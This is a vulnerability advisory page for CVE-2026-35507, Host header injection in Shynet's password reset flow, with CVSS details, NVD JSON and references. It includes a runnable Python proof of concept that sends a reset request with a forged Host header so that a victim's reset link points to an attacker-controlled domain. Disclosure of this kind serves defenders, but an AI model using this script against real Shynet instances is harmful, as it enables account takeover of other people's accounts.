Security Vulnerability Report
中文
CVE-2026-35507 CVSS 6.4 MEDIUM

CVE-2026-35507

Published: 2026-04-03 02:16:15
Last Modified: 2026-04-10 02:01:44

Description

Shynet before 0.14.0 allows Host header injection in the password reset flow.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:shynet:shynet:*:*:*:*:*:*:*:* - VULNERABLE
Shynet < 0.14.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def trigger_host_header_injection(target_email, target_host, malicious_host): """ PoC for CVE-2026-35507 Demonstrates sending a password reset request with a crafted Host header. """ # The endpoint usually handles password reset logic url = f"http://{target_host}/accounts/password_reset/" headers = { "Host": malicious_host, # Injected malicious host "User-Agent": "CVE-2026-35507-POC", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } payload = { "email": target_email } try: response = requests.post(url, headers=headers, data=payload) if response.status_code == 200: print(f"[+] Request sent successfully.") print(f"[+] Check {target_email}'s inbox. The password reset link likely points to http://{malicious_host}/...") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage trigger_host_header_injection( target_email="[email protected]", target_host="shynet-instance.com", malicious_host="attacker-controlled-domain.com" )

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35507", "sourceIdentifier": "[email protected]", "published": "2026-04-03T02:16:15.170", "lastModified": "2026-04-10T02:01:43.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Shynet before 0.14.0 allows Host header injection in the password reset flow."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:L", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-348"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shynet:shynet:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.13.1", "matchCriteriaId": "8EA534A1-DEA7-4340-828F-006D2762A2E1"}]}]}], "references": [{"url": "https://github.com/milesmcc/shynet/pull/345", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/milesmcc/shynet/releases/tag/v0.14.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}